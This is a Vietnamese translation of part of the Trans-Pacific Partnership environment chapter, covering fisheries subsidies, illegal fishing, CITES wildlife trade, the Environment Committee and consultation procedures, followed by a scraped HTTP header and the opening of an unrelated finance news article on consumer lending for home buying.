(a) trợ cấp cho việc đánh bắt cá
14ảnh hưởng tiêu cực 15đến đàn cá trong điều kiện đánh bắt quá tải 16; và
(b) trợ cấp được cung cấp cho các tàu cá
17nếu được liệt kê theo quốc tịch của cờ mà tàu cá mang hoặc một tổ chức quản lý thủy sản khu vực có liên quan hoặc Thoả thuận cho khai thác bất hợp pháp, không báo cáo và không theo quy định theo các quy tắc và thủ tục của tổ chức đó hoặc sắp xếp và phù hợp với luật pháp quốc tế.
6. Các chương trình trợ cấp được xây dựng bởi một Bên trước ngày Hiệp định này có hiệu lực tại nước đó mà không tuân thủ theo quy định tại khoản 5 (a) sẽ được điều chỉnh cho phù hợp với quy định tại khoản đó sớm nhất có thể và không quá 3 năm
18 từ ngày Hiệp định này có hiệu lực tại nước đó.
7. Liên quan đến các khoản trợ cấp không bị cấm theo quy định tại khoản 5 (a) hoặc khoản 5 (b), và có xem xét các ưu tiên phát triển xã hội của một Bên, bao gồm các vấn đề an ninh lương thực, mỗi Bên sẽ nỗ lực hết mình để không đưa ra các khoản trợ cấp mới hay mở rộng và tăng cường các khoản trợ cấp hiện có theo quy định tại Điều 1.1 của Hiệp định SCM và quy định cụ thể trong quy định tại Điều 2 của Hiệp định SCM mà các khoản trợ cấp này dẫn đến khai thác quá mức hoặc quá công suất.
8. Nhằm đạt được mục tiêu loại bỏ các khoản trợ cấp đóng góp cho việc đánh bắt quá mức và quá tải, các Bên sẽ xem xét lại các nguyên tắc nêu tại khoản 5 tại cuộc họp thường kỳ của Ủy ban.
9. Mỗi Bên sẽ thông báo cho các Bên còn lại trong vòng một năm kể từ ngày Hiệp định này có hiệu lực tại nước đó và 2 năm sau đó về các khoản trợ cấp theo quy định tại Điều 1.1 của Hiệp định SCM được quy định cụ thể tại Điều 2 của Hiệp định SCM mà Bên đó cấp hoặc duy trì cho những người tham gia vào các hoạt động đánh bắt cá.
10. Các thông báo này sẽ bao gồm các khoản trợ cấp được cấp trong thời hạn hai năm trước đó và phải bao gồm những thông tin cần thiết theo Điều 25.3 của Hiệp định SCM và các thông tin sau (trong điều kiện cho phép):
19
(a) tên chương trình;
(b) quyền hợp pháp cho chương trình;
(c) nắm bắt dữ liệu theo chủng loài thuỷ sản mà khoản trợ cấp cung cấp;
(d) tình trạng của các đàn cá trong ngư nghiệp mà khoản trợ cấp cung cấp (ví dụ, khai thác quá mức, khai thác cạn kiệt, khai thác tận thu, đang phục hồi hoặc không khai thác quá mức;
(e) năng lực của đội tàu trong ngư nghiệp mà khoản trợ cấp cung cấp;
(f) các biện pháp bảo tồn và quản lý tại chỗ cho các đàn cá có liên quan; và
(g) tổng sản lượng nhập khẩu và xuất khẩu của mỗi loài.
11. Mỗi Bên cung cấp các thông tin liên quan đến các khoản trợ cấp thủy sản khác mà Bên đó cấp hoặc duy trì ngoài các khoản quy định tại khoản 5, đặc biệt là trợ cấp nhiên liệu.
12. Một Bên có thể yêu cầu thêm thông tin từ Bên thông báo quy định tại khoản 9 và 10. Bên thông báo sẽ trả lời yêu cầu đó một cách nhanh chóng và toàn diện.
13. Các Bên thừa nhận tầm quan trọng của hoạt động quốc tế phối hợp để giải quyết việc đánh bắt bất hợp pháp, không báo cáo và không theo quy định được phản ánh trong các công cụ đo đạc
20khu vực và quốc tế và nỗ lực tăng cường hợp tác quốc tế trong lĩnh vực này, bao gồm và thông qua các tổ chức quốc tế có thẩm quyền.
14. Để hỗ trợ cho các nỗ lực để chống lại các hoạt động đánh bắt cá bất hợp pháp, không báo cáo và không theo quy định và giúp ngăn cản việc kinh doanh các sản phẩm từ các loài thu hoạch từ những hoạt động trên, mỗi Bên phải:
(a) hợp tác với các Bên khác để xác định nhu cầu và xây dựng năng lực để hỗ trợ việc thực hiện Điều này;
(b) hỗ trợ hệ thống giám sát, kiểm soát, theo dõi, tuân thủ và thực thi, kể cả bằng cách áp dụng, rà soát hoặc sửa đổi hợp lý các biện pháp để:
(i) ngăn chặn các tàu treo cờ quốc gia tham gia vào các hoạt động khai thác bất hợp pháp, không báo cáo và không theo quy định; và
(ii) giải quyết việc sang tàu trên biển đối với cá hoặc các sản phẩm từ cá bắt được thông qua hoạt động khai thác bất hợp pháp, không báo cáo và không theo quy định;
(c) thực hiện các biện pháp dành cho các quốc gia có cảng biển;
(d) cố gắng để hành động phù hợp với các biện pháp bảo tồn và quản lý có liên quan được thông qua bởi Tổ chức Quản lý thủy sản khu vực mà Bên đó không phải thành viên để không làm suy yếu những biện pháp; và
(e) cố gắng không để suy giảm hoặc tài liệu về đánh bắt và kinh doanh vận hành bởi các tổ chức quản lý thủy sản khu vực hoặc một tổ chức liên chính phủ có phạm vi bao gồm việc quản lý nguồn cá chung, bao gồm các loài lưỡng cư và các loài di cư, mà Bên đó không phải là một thành viên của các tổ chức, sắp xếp.
15. Theo Điều 26.2.2 (Công khai), một Bên cung cấp hết mình cho Bên kia cơ hội để bình luận về các biện pháp đề xuất được thiết kế để ngăn chặn việc kinh doanh các sản phẩm thủy sản có được từ khai thác bất hợp pháp, không báo cáo và không theo quy định.
[Điều 20.17: Bảo tồn và thương mại]
1. Lực để bảo tồn và quản lý bền vững các nguồn tài nguyên thiên nhiên, có những hậu quả xã hội, làm biến dạng hình thức kinh doanh hợp pháp động thực vật hoang dã và làm giảm giá trị kinh tế và môi trường của các nguồn tài nguyên thiên nhiên.
2. Theo đó, mỗi Bên áp dụng, duy trì và thực hiện pháp luật, quy định và các biện pháp khác để thực hiện nghĩa vụ của mình theo
*Công ước về buôn bán quốc tế các loài động thực vật hoang dã nguy cấp*(CITES). 22, 23, 24
3. Các Bên cam kết thúc đẩy việc bảo tồn và cam kết chống lại việc khai thác trái phép, và buôn bán trái phép, động thực vật hoang dã. Theo đó, các Bên cần phải thực hiện các việc sau:
(a) trao đổi thông tin và kinh nghiệm về các vấn đề quan tâm chung liên quan đến việc chống khai thác bất hợp pháp và buôn bán trái phép động thực vật hoang dã, bao gồm chống khai thác và kinh doanh gỗ bất hợp pháp và đẩy mạnh kinh doanh hợp pháp các sản phẩm liên quan;
(b) đảm nhiệm, khi thích hợp, các hoạt động chung về các vấn đề bảo tồn lợi ích chung, kể cả thông qua các diễn đàn có liên quan trong khu vực và quốc tế; và
(c) nỗ lực để thực hiện, nếu thích hợp, các quyết định trong Công ước CITES có mục đích bảo vệ và bảo tồn các loài đang bị đe dọa sự sống bởi thương mại quốc tế.
4. Mỗi Bên tiếp tục cam kết:
(a) áp dụng biện pháp thích hợp để bảo vệ và bảo tồn động thực vật hoang dã mà nước đó đã xác định là có nguy cơ trên lãnh thổ của mình, bao gồm cả các biện pháp để bảo tồn tính toàn vẹn sinh thái của khu vực tự nhiên được bảo vệ đặc biệt, ví dụ như vùng đất ngập nước;
(b) duy trì hoặc tăng cường năng lực của chính phủ và các khuôn khổ thể chế để thúc đẩy quản lý rừng bền vững và bảo tồn động thực vật hoang dã, và nỗ lực để tăng cường sự tham gia của cộng đồng và tính minh bạch trong các khuôn khổ thể chế; và
(c) nỗ lực để phát triển và tăng cường hợp tác và tham vấn với các tổ chức phi chính phủ quan tâm nhằm tăng cường thực hiện các biện pháp để chống lại khai thác và buôn bán trái phép động thực vật hoang dã.
5. Trong nỗ lực để giải quyết việc khai thác và buôn bán trái phép động thực vật hoang dã, bao gồm các bộ phận và sản phẩm từ chúng, mỗi Bên phải có biện pháp đồng thời hợp tác với các Bên khác để ngăn chặn việc buôn bán các loài động thực vật hoang dã mà, dựa trên bằng chứng đáng tin cậy
25, đã được thực hiện hoặc được giao dịch vi phạm pháp luật của nước mình hay một đạo luật hiện hành khác 26, với mục đích chính là để bảo tồn, bảo vệ, hoặc quản lý động thực vật hoang dã. Các biện pháp này bao gồm biện pháp trừng phạt, hình phạt, hoặc các biện pháp hiệu quả khác, bao gồm cả các biện pháp hành chính, mà có thể cản trở việc kinh doanh đó. Ngoài ra, mỗi Bên sẽ nỗ lực áp dụng các biện pháp để chống lại việc buôn bán các loài động thực vật hoang dã được trung chuyển qua lãnh thổ của mình mà theo bằng chứng đáng tin cậy là đã được khai thác hoặc kinh doanh bất hợp pháp.
6. Các Bên thừa nhận rằng mỗi Bên giữ quyền thực thi quyền quyết định hành chính, điều tra và thực thi trong việc thực hiện quy định tại khoản 5, kể cả bằng cách xem xét mối quan hệ với từng mức độ mạnh mẽ của các bằng chứng sẵn có và mức độ nghiêm trọng của các hành vi tình nghi. Ngoài ra, các thành viên công nhận rằng trong việc thực hiện khoản 5, mỗi Bên giữ quyền quyết định về việc phân phối nguồn lực hành chính, điều tra và thực thi.
7. Để thúc đẩy biện pháp rộng rãi nhất của hợp tác thực thi pháp luật và chia sẻ thông tin giữa các Bên để chống lại việc khai thác và kinh doanh bất hợp pháp động thực vật hoang dã, các Bên sẽ nỗ lực để xác định cơ hội, phù hợp với pháp luật tương ứng của nước mình và phù hợp với các thỏa thuận quốc tế được áp dụng, để tăng cường hợp tác thực thi pháp luật và chia sẻ thông tin, ví dụ bằng cách tạo và tham gia vào các mạng lưới thực thi pháp luật.
[Điều 20.18: Hàng hóa và dịch vụ về môi trường]
1. Các Bên thừa nhận tầm quan trọng của việc kinh doanh và đầu tư vào hàng hóa và dịch vụ môi trường như là một phương tiện để cải thiện biểu hiện môi trường và kinh tế và giải quyết các thách thức môi trường toàn cầu.
2. Các Bên nhận thấy rõ hơn tầm quan trọng của Hiệp định này đối với việc thúc đẩy thương mại và đầu tư vào hàng hóa và dịch vụ môi trường tại các khu vực thương mại tự do.
3. Theo đó, Uỷ ban sẽ xem xét các vấn đề xác định bởi một hoặc các Bên liên quan đến việc kinh doanh hàng hóa và dịch vụ môi trường, bao gồm các vấn đề được xác định là có khả năng tạo ra các rào cản phi thuế quan đối với việc kinh doanh đó. Các Bên sẽ nỗ lực để giải quyết tất cả rào cản có thể có đối với việc kinh doanh hàng hóa và dịch vụ môi trường được xác định bởi một Bên, bao gồm bằng cách làm việc thông qua Ủy ban và kết hợp với các ủy ban có liên quan khác được thành lập theo Hiệp định này nếu thích hợp.
4. Các Bên có thể phát triển các dự án hợp tác song phương và đa phương về hàng hóa và dịch vụ để giải quyết những thách thức hiện tại và tương lai liên quan đến thương mại trên toàn cầu.
[Điều 20.19: Ủy ban môi trường và đầu mối]
1. Mỗi Bên sẽ chỉ định và thông báo một đầu mối của các cơ quan có liên quan trong thời hạn 90 ngày kể từ ngày Hiệp định này có hiệu lực tại nước đó, để tạo điều kiện thông tin liên lạc giữa các Bên trong việc thực hiện của Chương này. Mỗi Bên sẽ thông báo ngay cho các Bên khác trong trường hợp có bất kỳ sự thay đổi về đầu mối của nước mình.
2. Các Bên thành lập một Ủy ban Môi trường (sau đây gọi tắt là Uỷ ban) bao gồm các đại diện cấp cao của chính phủ, hoặc người được chỉ định, của các cơ quan thương mại và môi trường của mỗi Bên, chịu trách nhiệm về việc thực hiện các quy định tại Chương này.
3. Mục đích của Ủy ban là để giám sát việc thực hiện Chương này và chức năng của Ủy ban là:
(a) cung cấp một diễn đàn để thảo luận và xem xét việc thực hiện Chương này;
(b) cung cấp các báo cáo định kỳ cho Ủy ban TPP về việc thực hiện Chương này;
(c) cung cấp một diễn đàn để thảo luận và xem xét các hoạt động hợp tác theo Chương này;
(d) xem xét và cố gắng giải quyết vấn đề nêu theo Điều 20,21 (Tham vấn đại diện cấp cao);
(e) phối hợp với các ủy ban khác được thành lập theo Hiệp định này nếu thích hợp; và
(f) thực hiện các chức năng khác mà các Bên có thể quyết định.
4. Uỷ ban sẽ họp trong vòng một năm kể từ ngày có Hiệp định này có hiệu lực. Sau đó, Uỷ ban sẽ họp 2 năm một lần, trừ khi Ủy ban có thỏa thuận khác. Chủ tịch Uỷ ban và địa điểm tổ chức các cuộc họp của Ủy ban sẽ xoay vòng tại các nước thành viên theo thứ tự chữ cái tiếng Anh, trừ khi Ủy ban có thỏa thuận khác.
5. Tất cả các quyết định và báo cáo của Ủy ban phải được sự đồng thuận của đa số, trừ khi
Ủy ban có thỏa thuận khác hoặc trừ khi có quy định khác trong Chương này.
6. Tất cả các quyết định và báo cáo của Ủy ban phải được công khai cho mọi người, trừ khi Ủy ban có thỏa thuận khác.
7. Trong năm thứ năm kể từ ngày Hiệp định này có hiệu lực, Ủy ban có trách nhiệm:
(a) xem xét việc thực hiện Chương này;
(b) báo cáo các kết quả điều tra, trong đó có thể bao gồm các khuyến nghị, với các Bên và Ủy ban TPP; và
(c) tiến hành đánh giá tiếp theo trong khoảng thời gian đợi quyết định của các Bên.
8. Uỷ ban có trách nhiệm ban hành quy định về việc đóng góp ý kiến của công chúng đối với các vấn đề có liên quan đến công việc của Ủy ban, khi thích hợp, và sẽ tổ chức một phiên họp mở tại mỗi cuộc họp.
9. Các Bên thừa nhận tầm quan trọng của việc sử dụng hiệu quả tài nguyên trong việc thực hiện Chương này và mong muốn sử dụng công nghệ mới để tạo điều kiện giao tiếp và tương tác giữa các Bên và với công chúng.
[Điều 20.20: Tham vấn về môi trường]
1. Các Bên luôn nỗ lực để thỏa thuận về cách hiểu và sự áp dụng Chương này, và sẽ luôn nỗ lực thông qua đối thoại, tham vấn, trao đổi thông tin và hợp tác (nếu có thể) để giải quyết các vấn đề có thể ảnh hưởng đến việc thực hiện Chương này.
2. Một Bên (Bên yêu cầu) có thể yêu cầu tham vấn với bất kỳ Bên nào khác (Bên hồi đáp) liên quan đến bất kỳ vấn đề phát sinh theo Chương này bằng cách gởi cho đầu mối của Bên hồi đáp một văn bản yêu cầu. Bên yêu cầu phải bao gồm thông tin cụ thể và đầy đủ để cho phép Bên hồi đáp đưa ra các trả lời, bao gồm cả việc xác định các vấn đề và chỉ ra cơ sở pháp lý cho yêu cầu. Bên yêu cầu sẽ chuyển yêu cầu tham vấn tới các Bên khác thông qua các đầu mối tương ứng của mình.
3. Một Bên ngoài Bên yêu cầu hoặc Bên hồi đáp xem xét thấy có lợi ích đáng kể trong vấn đề này (Bên tham gia) có thể tham gia vào các cuộc tham vấn bằng cách cung cấp một thông báo bằng văn bản đến các điểm tiếp xúc của Bên yêu cầu và Bên hồi đáp không quá 7 ngày sau ngày nhận yêu cầu tham vấn. Bên tham gia chuẩn bị trong thông báo của mình một lời giải thích về lợi ích đáng kể của mình trong vấn đề này.
4. Trừ khi Bên yêu cầu và Bên hồi đáp (các Bên tư vấn) có thỏa thuận khác, các Bên tư vấn sẽ tiến hành tham vấn kịp thời, và không quá 30 ngày, kể từ ngày nhận được trả lời của Bên hồi đáp.
5. Các Bên tư vấn sẽ tìm mọi cách để đi đến một giải pháp thoả đáng cho vấn đề này, trong đó có thể bao gồm các hoạt động hợp tác thích hợp. Các Bên tư vấn có thể tìm tư vấn hoặc trợ giúp từ các cá nhân hoặc cơ quan mà các Bên cho là thích hợp để xem xét vấn đề.
[Điều 20.21: Tham vấn đại diện cấp cao]
1. Nếu các Bên tư vấn không giải quyết các vấn đề theo Điều 20.20 (Tham vấn về Môi trường), Bên tư vấn có thể yêu cầu đại diện Uỷ ban từ các Bên tư vấn họp để xem xét vấn đề này bằng cách cung cấp một văn bản yêu cầu các đầu mối của Bên hoặc các Bên tư vấn khác. Đồng thời, Bên tư vấn đưa ra yêu cầu cần chuyển yêu cầu đến các đầu mối của các Bên khác.
2. Đại diện Ủy ban từ các Bên tư vấn phải kịp thời triệu tập sau khi nhận được yêu cầu, và phải tìm cách giải quyết vấn đề kể cả bằng cách thu thập (nếu có thể) các thông tin khoa học và kỹ thuật có liên quan từ các chuyên gia của chính phủ hoặc phi chính phủ. Đại diện Ủy ban từ bất kỳ Bên nào khác mà xét thấy có lợi ích đáng kể trong vấn đề được tham vấn có thể tham gia vào các cuộc tham vấn.
1. Nếu các Bên tư vấn không giải quyết các vấn đề theo Điều 20.21 (Tham vấn về Môi trường), Bên tư vấn có thể đưa vấn đề này lên các Bộ trưởng có liên quan của các Bên tư vấn để tìm cách giải quyết.
2. Tham vấn theo Điều 20.20 (Tham vấn môi trường), Điều 20.21 (Tham vấn đại diện cấp cao) và Điều này có thể được tổ chức trực tiếp hoặc bằng bất kỳ phương tiện kỹ thuật sẵn có theo thỏa thuận của các Bên tư vấn. Tham vấn sẽ được tổ chức tại thủ đô của Bên hồi đáp, trừ khi các Bên có ý kiến thoả thuận khác.
3. Nội dung tham vấn sẽ được bảo mật và không làm phương hại đến các quyền của các Bên trong các thủ tục tố tụng trong tương lai.
[Điều 20.23: Giải quyết tranh chấp]
1. Nếu các Bên tư vấn không thể giải quyết các vấn đề theo quy định tại Điều 20.20 (Các tham vấn về môi trường), điều 20.21 (Tham vấn đại diện cấp cao) và Điều 20.22 (Tham vấn cấp Bộ) trong vòng 60 ngày từ khi nhận yêu cầu quy định tại Điều 20.20 (Tham vấn về môi trường), hoặc thời gian thống nhất bởi các Bên, Bên yêu cầu có thể yêu cầu tham vấn theo quy định tại Điều 28.5 (Tham vấn) hoặc yêu cầu thành lập ban hội thẩm theo quy định tại Điều 28.7 (Thành lập ban hội thẩm).
2. Bất kể quy định tại Điều 28.14 (Vai trò của các chuyên gia), trong các tranh chấp phát sinh theo Điều 20.17.2 (Bảo tồn và Thương mại) một buổi hội thẩm theo quy định tại Chương 28 (Giải quyết tranh chấp) có trách nhiệm:
(a) tìm kiếm khuyến nghị hoặc hỗ trợ kỹ thuật (nếu thích hợp) từ một tổ chức, cá nhân có thẩm quyền theo Công ước CITES để giải quyết các vấn đề cụ thể, và tạo cơ hội cho các Bên tư vấn bình luận về các khuyến nghị hoặc hỗ trợ kỹ thuật nhận được; và
(b) xem xét các hướng dẫn diễn giải nhận được theo quy định các điểm (a) về các vấn đề trong phạm vi thích hợp trong do bản chất và tình trạng của nó trong việc đưa ra các kết luận và quyết định của mình theo Điều 28.17.4 (Báo cáo lần đầu).
3. Trước một Bên khởi xướng giải quyết tranh chấp theo Hiệp định này cho một vấn đề phát sinh theo Điều 20.3.4 hoặc Điều 20.3.6 (Cam kết chung), Bên đó sẽ xem xét liệu nó duy trì các pháp luật về môi trường tương đương đáng kể trong phạm vi pháp luật về môi trường sẽ là đối tượng tranh chấp.
4. Nếu một Bên yêu cầu tham vấn với các Bên khác theo Điều 20.20 (Tham vấn Môi trường) cho một vấn đề phát sinh theo Điều 20.3.4 hoặc Điều 20.3.6 (Cam kết chung) và Bên phản hồi cho rằng Bên yêu cầu không duy trì pháp luật môi trường tương đương đáng kể trong phạm vi pháp luật về môi trường sẽ là chủ đề của các vụ tranh chấp, các Bên sẽ thảo luận vấn đề trong quá trình tham vấn.
-----------------------------------------------
1. * Trong Chương này, “các khu vực tự nhiên được bảo vệ đặc biệt” là các khu vực được xác định bởi mỗi Bên theo pháp luật của mỗi Bên.* 2 *. Các Bên công nhận rằng sự bảo vệ hoặc bảo tồn đó thể bao gồm việc bảo vệ hoặc bảo tồn đa dạng sinh học.* 3 *. Để chắc chắn hơn, đối với mỗi Bên, quy định này liên quan đến các chất được kiểm soát bởi Nghị định thư Montreal về các chất làm suy giảm tầng Ozone, được ký kết tại Montreal, ngày 16 tháng 9 năm 1987 (Nghị định thư Montreal), bao gồm cả các văn bản hướng dẫn, bổ sung của Nghị định thư này.* 4. * Một Bên sẽ được coi là tuân thủ quy định này nếu Bên đó duy trì các biện pháp được liệt kê trong Phụ lục 20-A thực hiện nghĩa vụ của mình theo Nghị định thư Montreal hoặc bất kỳ biện pháp bổ sung nào cung cấp một mức độ bảo vệ môi trường tương đương hoặc cao hơn các biện pháp được liệt kê.* 5 *. Nếu các quy định này không được tuân thủ theo chú thích số 4, để thiết lập một hành vi vi phạm quy định này, một Bên phải chứng minh rằng Bên kia đã không có biện pháp để kiểm soát việc sản xuất, tiêu thụ và kinh doanh các chất nhất định mà có thể làm cạn kiệt đáng kể hoặc làm thay đổi tầng ozone theo một cách có thể gây ảnh hưởng xấu đến sức khỏe con người và môi trường, làm ảnh hưởng đến thương mại và đầu tư giữa hai Bên.* 6. *Để chắc chắn hơn, đối với mỗi Bên, điều khoản này liên quan đến ô nhiễm môi trường theo quy định của Công ước quốc tế về ngăn ngừa ô nhiễm từ tàu biển, được ký kết tại London, ngày 02 tháng 11 năm 1973, được sửa đổi bằng Nghị định thư năm 1978 liên quan đến Công ước quốc tế về ngăn ngừa ô nhiễm từ tàu, ký kết tại London, ngày 17 Tháng Hai năm 1978, và Nghị định thư năm 1997 về sửa đổi Công ước quốc tế về ngăn ngừa ô nhiễm từ tàu biển, 1973 cũng như được sửa đổi bởi Nghị định thư 1978 có liên quan, ký kết tại London, 26 Tháng 9 năm 1997 (MARPOL), bao gồm bất kỳ các văn bản hướng dẫn, bổ sung.* 7 *. Một Bên sẽ được coi là tuân thủ quy định này nếu Bên đó duy trì biện pháp hoặc các biện pháp được liệt kê trong Phụ lục 20-B thực hiện nghĩa vụ của mình theo MARPOL hoặc bất kỳ biện pháp bổ sung cung cấp một mức độ tương đương hoặc cao hơn về bảo vệ môi trường là biện pháp hoặc các biện pháp được liệt kê.* 8. * Nếu các quy định này không được tuân thủ theo chú thích số 7, để thiết lập một hành vi vi phạm quy định này, một Bên phải chứng minh rằng Bên kia đã không có biện pháp để ngăn chặn ô nhiễm môi trường biển từ tàu làm ảnh hưởng tới thương mại và đầu tư giữa hai Bên.* 9. * Nếu có thể, một Bên có thể sử dụng một cơ quan hay một cơ chế hiện hành để thực hiện mục đích này.* 10. * Điều này không áp dụng đối với nuôi trồng thủy sản.* 11. * Cụm từ "bất hợp pháp, không báo cáo và không theo quy định" phải được hiểu như quy định tại khoản 3 của Kế hoạch Hành động Quốc tế về ngăn ngừa, ngăn chặn và loại bỏ đánh bắt cá bất hợp pháp, không báo cáo và không theo quy định (2001 Kế hoạch đánh bắt cá bất hợp pháp, không báo cáo và không theo quy định* *) của Tổ chức Lương thực và Nông nghiệp Liên Hiệp Quốc (FAO), được thông qua tại Rome năm 2001.* 12. *Các công cụ này bao gồm và khi họ có thể áp dụng, UNCLOS, Hiệp định của Liên Hiệp Quốc về thực hiện các quy định của Công ước Liên Hiệp Quốc về Luật Biển tháng 12 1982 liên quan đến việc bảo tồn và quản lý đàn cá lưỡng cư và đàn cá di cư, ký tại New York, ngày 04 Tháng 12 năm 1995 (Hiệp định về đàn cá của Liên Hiệp Quốc), Bộ quy tắc ứng xử nghề cá có trách nhiệm của FAO, các Hiệp định thúc đẩy việc tuân thủ Công ước quốc tế và Các biện pháp bảo tồn và quản lý tàu cá cùng biển khơi của FAO năm 1993, (HIệp định tuân thủ) được ký tại Rome, 24 Tháng 11 năm 1993 và Kế hoạch xử lý bất hợp pháp, không báo cáo và không theo quy định đánh bắt năm 2001.* 13. *Trong Điều này, một khoản trợ cấp sẽ được phân bổ cho Bên nào trao nó, bất kể tàu treo cờ nước nào và bất kể cách thức áp dụng các quy tắc xuất xứ cho cá có liên quan.* 14. *Trong khoản này, "đánh bắt cá" có nghĩa là tìm kiếm, thu hút, định vị, bắt, chụp hoặc thu hoạch cá hoặc bất kỳ hoạt động nào hợp lý có thể được dự kiến sẽ dẫn đến việc thu hút, định vị, bắt, chụp hoặc thu hoạch cá.* 15 *. Các tác động tiêu cực của các khoản trợ cấp này được xác định dựa trên các bằng chứng khoa học tốt nhất sẵn có.* 16. * Trong Điều này, một đàn cá được coi là bị đánh bắt quá mức nếu số lượng các cá thể trong đàn cá đó đang ở một mức thấp đến mức tỷ lệ tử vong do việc đánh bắt cá cần phải được hạn chế để đàn cá có thể để hồi phục lại đến một mức độ có thể cho ra sản lượng bền vững tối đa hoặc các điểm tham chiếu thay thế dựa trên các bằng chứng khoa học tốt nhất có sẵn.* *Đàn cá được tòa án quốc gia nơi mà việc đánh bắt cá đang diễn ra hoặc một tổ chức quản lý thủy sản khu vực có liên quan coi là bị đánh bắt quá mức cũng sẽ được coi là đánh bắt quá mức theo quy định tại khoản này.* 17. *"Tàu đánh cá" được hiểu như bất kỳ tàu biển, tàu hoặc các loại thuyền và trang bị được sử dụng hoặc với mục đích sử dụng cho các hoạt động đánh bắt cá.* 18. *Không dựa vào quy định tại khoản này, và chỉ nhằm hoàn thành một bản đánh giá về đàn cá mà mình đã khởi xướng, Việt Nam có thể yêu cầu gia hạn thên 2 năm nữa để điều chỉnh các chương trình trợ cấp cho phù hợp với Điều 20.16.5 (a) bằng cách nộp một văn bản yêu cầu đến Ủy ban không quá 6 tháng trước khi hết thời hạn 3 năm quy định tại khoản này. * *Yêu cầu của Việt Nam cần bao gồm các lý do cho việc xin gia hạn và các thông tin về các chương trình trợ cấp của mình theo quy định tại Điều 20.16.10. Việt Nam có thể tận dụng việc gia hạn một lần khi cung cấp một yêu cầu theo quy định tại khoản này trừ khi Ủy ban có quyết định khác trong vòng 60 ngày kể từ ngày nhận được yêu cầu. Không quá thời hạn hai năm được gia hạn, Việt Nam phải nộp cho Ủy ban văn bản báo cáo về các biện pháp đã thực hiện để thực hiện nghĩa vụ của mình theo Điều 20.16.5 (a).* 19. *Chia sẻ thông tin và dữ liệu về các chương trình trợ cấp thủy sản hiện có không đánh giá tình trạng pháp lý, hiệu ứng hay bản chất của các chương trình đó theo GATT 1994 hoặc các Hiệp định SCM và được dự định để bổ sung các yêu cầu báo cáo số liệu của WTO.* 20. * Các công cụ khu vực và quốc tế có thể áp dụng bao gồm Kế hoạch hành động đánh bắt cá bất hợp pháp, không báo cáo và không theo quy định năm 2001, Tuyên bố của Rome về đánh bắt cá bất hợp pháp, không báo cáo và không theo quy định, ký tại Rome vào ngày 12 tháng 3 năm 2005, Hiệp định về các biện pháp của Cảng Nhà nước về ngăn ngừa, ngăn chặn và xóa bỏ việc đánh bất hợp pháp, không báo cáo và không theo quy định đánh bắt cá, ký tại Rome, ngày 22 Tháng 11 năm 2009, cũng như các công cụ thiết lập và được thông qua bởi các Tổ chức thủy sản khu vực quản lý, là các tổ chức thủy sản liên chính phủ có thẩm quyền xây dựng các biện pháp quản lý và bảo tồn.* 21. * “khai thác” có nghĩa là bắt, giết hoặc thu thập và đối với thực vật thì “khai thác” cũng có nghĩa là thu hoạch, đốn hạ, chặt khúc hoặc đốn bỏ.* 22. *Trong Điều này, nghĩa vụ CITES của một Bên bao gồm các sửa đổi bổ sung hiện tại và tương lai mà nước đó là thành viên các đặt phòng hiện tại và tương lai, miễn trừ, và trường hợp ngoại lệ áp dụng cho nước đó.* 23. *Để thiết lập một hành vi vi phạm khoản này, mỗi Bên phải chứng minh rằng Bên kia không áp dụng, duy trì hoặc thực hiện pháp luật, quy định hoặc thực hiện các biện pháp khác để thực hiện nghĩa vụ của mình theo Công ước CITES theo phương thức làm ảnh hưởng đến thương mại và đầu tư giữa hai Bên.* 24. *Nếu một Bên nhận thấy một Bên khác không thực hiện nghĩa vụ của mình theo quy định tại khoản này, Bên đó cần cố gắng để giải quyết vấn đề thông qua tư vấn hoặc một thủ tục khác theo Công ước CITES.* 25. *Trong đoạn này, mỗi Bên giữ quyền quyết định những điều kiện cấu thành "bằng chứng đáng tin cậy."* 26. *"một đạo luật hiện hành khác" có nghĩa là một đạo luật của nước nơi việc khai thác hoặc kinh doanh xảy ra và chỉ liên quan đến câu hỏi liệu các loài động thực vật hoang dã đã được khai thác hoặc kinh doanh trái với quy định trong đạo luật đó.*
## Bình luậnÝ kiến của bạn sẽ được biên tập trước khi đăng. Xin vui lòng gõ tiếng Việt có dấu

Set-Cookie: .ASPXANONYMOUS=H1FRx5840wEkAAAAN2ZlYmI2OGItYjhhZi00MTk0LWExZTEtNTU2NDJhZDMwZTRm0; domain=tapchitaichinh.vn; expires=Thu, 28-Sep-2017 21:21:41 GMT; path=/; HttpOnly


markdown:
![ Ảnh minh họa. Nguồn: Internet](http://static.tapchitaichinh.vn/660x450/Uploaded/hoangthuviet/2016_10_07/171ozbnhgqh_PRCJ.jpg)
Anh Trần Chí Trung (quận Hoàng Mai, Hà Nội) đang đếm lùi từng ngày để nhận chìa khoá căn hộ chung cư trên đường Minh Khai, cùng vợ và 2 con nhỏ dọn về tổ ấm mới. Ở tuổi ngoài 30, giấc mơ sở hữu nhà riêng của những cặp vợ chồng như anh Trung sẽ khó thành hiện thực nếu không nỗ lực lao động và có khoản tích cóp nhỏ sau gần 10 năm làm việc, cùng với sự hỗ trợ một phần từ gia đình và một phần từ vốn vay ngân hàng.
Ở một quốc gia Á Đông như Việt Nam, nơi mà tư tưởng “an cư rồi mới lạc nghiệp” vẫn lưu truyền tới những người thuộc thế hệ trẻ như anh Trung, thì tổ ấm riêng này chính là động lực để phấn đấu lên những bước thăng tiến mới trong công việc, dần tích luỹ và cải thiện cuộc sống.
Trường hợp như anh Trung vì thế cũng không cá biệt. Niềm tin vào triển vọng thu nhập trong tương lai đã tạo điều kiện quan trọng để người tiêu dùng “rút hầu bao” cho những nhu cầu thiết yếu. Với những khoản chi tiêu lớn hơn như mua nhà, tậu xe… mà năng lực tài chính chưa đủ để trang trải, dịch vụ NH đã có mặt kịp thời để cung cấp các khoản vay tiêu dùng cho phép họ có thể tiêu dùng trước, chi trả sau.
Những người trẻ tuổi thuộc tầng lớp trung lưu với nhu cầu tiêu dùng đang gia tăng theo thu nhập, lại được hỗ trợ của dịch vụ tài chính hiện đại, cũng đang là động lực quan trọng cho tăng trưởng của cả nền kinh tế.
Ông Nguyễn Bích Lâm, Tổng cục trưởng Tổng cục Thống kê dẫn chứng, tăng trưởng GDP 9 tháng đầu năm nay có đóng góp rất lớn của tiêu dùng dân cư. Nếu xét theo cấu trúc sử dụng GDP, trong mức tăng 5,93% của toàn nền kinh tế 9 tháng năm nay, tiêu dùng cuối cùng tăng 6,97% so với cùng kỳ năm 2015, đã đóng góp tới 4,96 điểm phần trăm vào mức tăng trưởng chung.
